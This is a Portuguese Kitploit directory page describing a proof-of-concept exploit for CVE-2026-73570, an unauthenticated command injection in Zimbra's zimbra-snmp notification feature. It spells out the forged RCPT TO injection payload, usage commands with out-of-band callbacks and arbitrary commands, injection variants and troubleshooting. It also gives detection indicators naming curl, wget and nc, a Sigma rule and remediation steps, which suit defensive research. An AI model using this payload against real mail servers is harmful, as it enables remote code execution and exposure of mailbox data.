Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-73570 — Proof-of-concept de exploit para CVE-2026-73570, uma injeção de comando do sistema operacional não autenticada no Zimbra Collaboration Suite via injeção de log do zimbra-snmp, com orientações de detecção. | Kitploit
Ferramentas/GitHubGitHub/hainhc/cve-2026-73570
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoResposta a IncidentesSegurança de Email
GitHubhainhc/cve-2026-73570

CVE-2026-73570

Proof-of-concept de exploit para CVE-2026-73570, uma injeção de comando do sistema operacional não autenticada no Zimbra Collaboration Suite via injeção de log do zimbra-snmp, com orientações de detecção.

Ver Repositório
há 17h 20mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-73570 — Zimbra zimbra-snmp Injeção de Comando de SO Não Autenticada PoC

Prova de conceito de exploit para CVE-2026-73570, uma injeção de comando de SO não autenticada (CWE-78, CVSS 8.9) no Zimbra Collaboration Suite < 10.1.20 quando o pacote zimbra-snmp está instalado e as notificações SNMP estão habilitadas.

Aviso: Esta PoC destina-se apenas a testes de segurança autorizados, pesquisa defensiva e validação dos seus próprios sistemas. Não a utilize contra qualquer sistema que não lhe pertença ou para o qual não tenha permissão escrita explícita para testar.

Mecanismo da vulnerabilidade

O recurso de notificação SNMP do Zimbra usa o swatchdog para monitorar /var/log/zimbra.log em busca de eventos de serviço. Quando uma linha de log corresponde ao seu padrão de observação, o texto correspondido é interpolado em um comando de shell que envia a notificação SNMP — sem sanitização.

A cadeia de ataque:

root@kitploit:~
1. O atacante envia uma sessão SMTP com um endereço RCPT TO forjado:

   RCPT TO:<"x: Service status change: localhost $(CMD)
            changed from stopped to running"@cve.invalid>

   A parte local é uma string entre aspas RFC 5321, então o Postfix aceita a
   sintaxe do endereço (espaços, dois-pontos, $(...) incluídos).

2. O Postfix rejeita o destinatário (relay negado / usuário desconhecido / restrição
   de remetente) e grava a string COMPLETA to=<...>, com as aspas removidas, em
   /var/log/zimbra.log:

   NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
   change: localhost $(CMD) changed from stopped to [email protected]> ...

3. O swatchdog (zimbra-snmp) verifica periodicamente o log e corresponde ao seu
   padrão watchfor "Service status change ... changed from ... to ...".

4. O texto correspondido é interpolado no comando de shell de notificação SNMP
   -> $(CMD) é avaliado -> execução de comando como o usuário `zimbra`.

Requisitos

O alvo deve atender a todos os seguintes requisitos:

  • Zimbra Collaboration < 10.1.20
  • Pacote zimbra-snmp instalado
  • Notificações SNMP habilitadas (zmlocalconfig | grep -i snmp_notify)

Lado do atacante: Python 3 (apenas biblioteca padrão, sem dependências).

Uso

root@kitploit:~
# 1. Verificar RCE via callback DNS out-of-band (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site

# 2. Verificar RCE via callback HTTP para o seu listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb

# 3. Criar um arquivo marcador no host (verifique manualmente no servidor depois):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"

# 4. Apenas fingerprint (nenhum payload enviado):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only

# Debug: imprimir o transcript SMTP completo
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug

Opções:

FlagDescrição
-t, --targetIP/hostname SMTP do Zimbra alvo (obrigatório)
-p, --portPorta SMTP (padrão: 25)
--tlsUsar STARTTLS (ex.: porta 587)
--oobDomínio DNS OOB ou URL de callback HTTP (recomendado)
--cmdComando arbitrário em vez de callback OOB
--fake-hostHostname dentro da string falsa Service status change (padrão: localhost)
--check-onlyApenas fingerprint, não enviar payloads
--delayAtraso entre envios em segundos (padrão: 1.0)
--debugImprimir transcript SMTP completo

Verificação

O script envia cada comando em várias variantes de injeção ($(...), backticks, ;cmd;#, $({IFS}...)). Para cada variante, observe o código de resposta do RCPT:

Resposta RCPTSignificado
250, 450, 454 Relay access denied, 550 5.1.1 User unknownSintaxe do endereço aceita — a linha de rejeição com a string completa to=<...> está agora no log. Payload plantado.
501 5.1.3 Bad recipient address syntaxO Postfix rejeitou o endereço no momento do parsing — nada útil foi registrado. O script tenta novamente automaticamente com um fallback sem aspas.

Em seguida, confirme no servidor (se tiver acesso):

root@kitploit:~
# A linha injetada deve estar presente:
grep 'Service status change' /var/log/zimbra.log | tail
# Esperado: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...

# Aguarde 1-5 minutos (o swatchdog verifica o log periodicamente — a execução NÃO é em tempo real),
# depois verifique o efeito:
ls -la /tmp/                    # se você usou --cmd
# ou observe seu listener OOB para o callback

Se a linha de log estiver presente mas o comando nunca executar, as pré-condições restantes estão do lado do swatchdog: verifique se o processo está em execução (ps aux | grep swatch) e se sua configuração realmente observa o padrão Service status change.

Contexto de execução: os comandos são executados como o usuário zimbra (não root).

Solução de problemas

  • Nenhuma linha de log: seu IP de origem provavelmente está bloqueado (fail2ban após tentativas malformadas repetidas, ou um firewall). Verifique fail2ban-client status, iptables -L -n | grep <seu_ip>, e confirme que os pacotes chegam ao Postfix com tcpdump -i any port 25 and host <seu_ip> -nn -A.
  • Grep muito restrito: endereços malformados são registrados como warning: Illegal address syntax ... in RCPT command: ... em vez de uma linha NOQUEUE: reject. Faça grep pelo seu IP de atacante.
  • Atraso na execução: o swatchdog consulta o log em um ciclo — aguarde 1–5 minutos antes de concluir que houve falha.

Detecção (para defensores)

Principais indicadores de exploração bem-sucedida:

  1. Artefato de log (tentativa): to=<*: Service status change: *$(...)* dentro de uma linha de rejeição do Postfix em /var/log/zimbra.log — virtualmente zero falsos positivos, já que o texto Service status change nunca aparece legitimamente dentro de um endereço to=<>.
  2. Árvore de processos (alta fidelidade): qualquer shell ou interpretador de comando (sh, bash, curl, wget, nc, python, perl) gerado como filho do swatchdog / swatch.
  3. Pós-exploração: novos arquivos .jsp/.jspx em /opt/zimbra/jetty/webapps/ ou /opt/zimbra/jetty_base/webapps/, arquivos inesperados em /tmp/, novas entradas de cron ou chaves SSH para o usuário zimbra, e conexões de saída do servidor de e-mail que não correspondem ao fluxo normal de e-mail.

Exemplo de regra Sigma (estágio de tentativa):

root@kitploit:~
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
  product: linux
  service: postfix
detection:
  sel:
    - 'to=<*: Service status change: *$(*'
    - 'to=<*: Service status change: *`*'
  condition: sel
level: high
tags:
  - attack.initial-access
  - attack.t1190
  - cve.2026.73570

Remediação

  • Atualize o Zimbra Collaboration para 10.1.20 ou posterior.
  • Se a atualização imediata for impossível: desabilite as notificações SNMP e considere parar/remover o pacote zimbra-snmp até que seja corrigido.
  • Este CVE está listado no CISA KEV com exploração ativa confirmada — investigue retroativamente pelo menos 30 dias de logs em qualquer sistema anteriormente vulnerável, e trate qualquer comprometimento confirmado como uma exposição total dos dados da caixa de correio.

Referências

  • Zimbra Security Advisories (fornecedor): https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
  • Zimbra 10.1.20 patch release (correção): https://blog.zimbra.com/2026/07/patch-release-update-zimbra-10-1-20/
  • NVD — CVE-2026-73570: https://nvd.nist.gov/vuln/detail/CVE-2026-73570
  • CISA Known Exploited Vulnerabilities Catalog (adicionado em 2026-08-21): https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search=CVE-2026-73570
  • Alerta da CISA — "CISA Adds One Known Exploited Vulnerability to Catalog": https://www.cisa.gov/news-events/alerts/2026/08/21/cisa-adds-one-known-exploited-vulnerability-catalog
  • CERT Polska advisory 145/2026 (exploração ativa + orientação de IoC, 2026-08-17): https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/
  • BleepingComputer — "Critical Zimbra RCE flaw now actively exploited in attacks": https://www.bleepingcomputer.com/news/security/critical-zimbra-rce-flaw-now-actively-exploited-in-attacks/
  • Help Net Security — "Unpatched Zimbra servers are falling to CVE-2026-73570 attacks": https://www.helpnetsecurity.com/2026/08/25/zimbra-cve-2026-73570-compromised/
Baixar ferramenta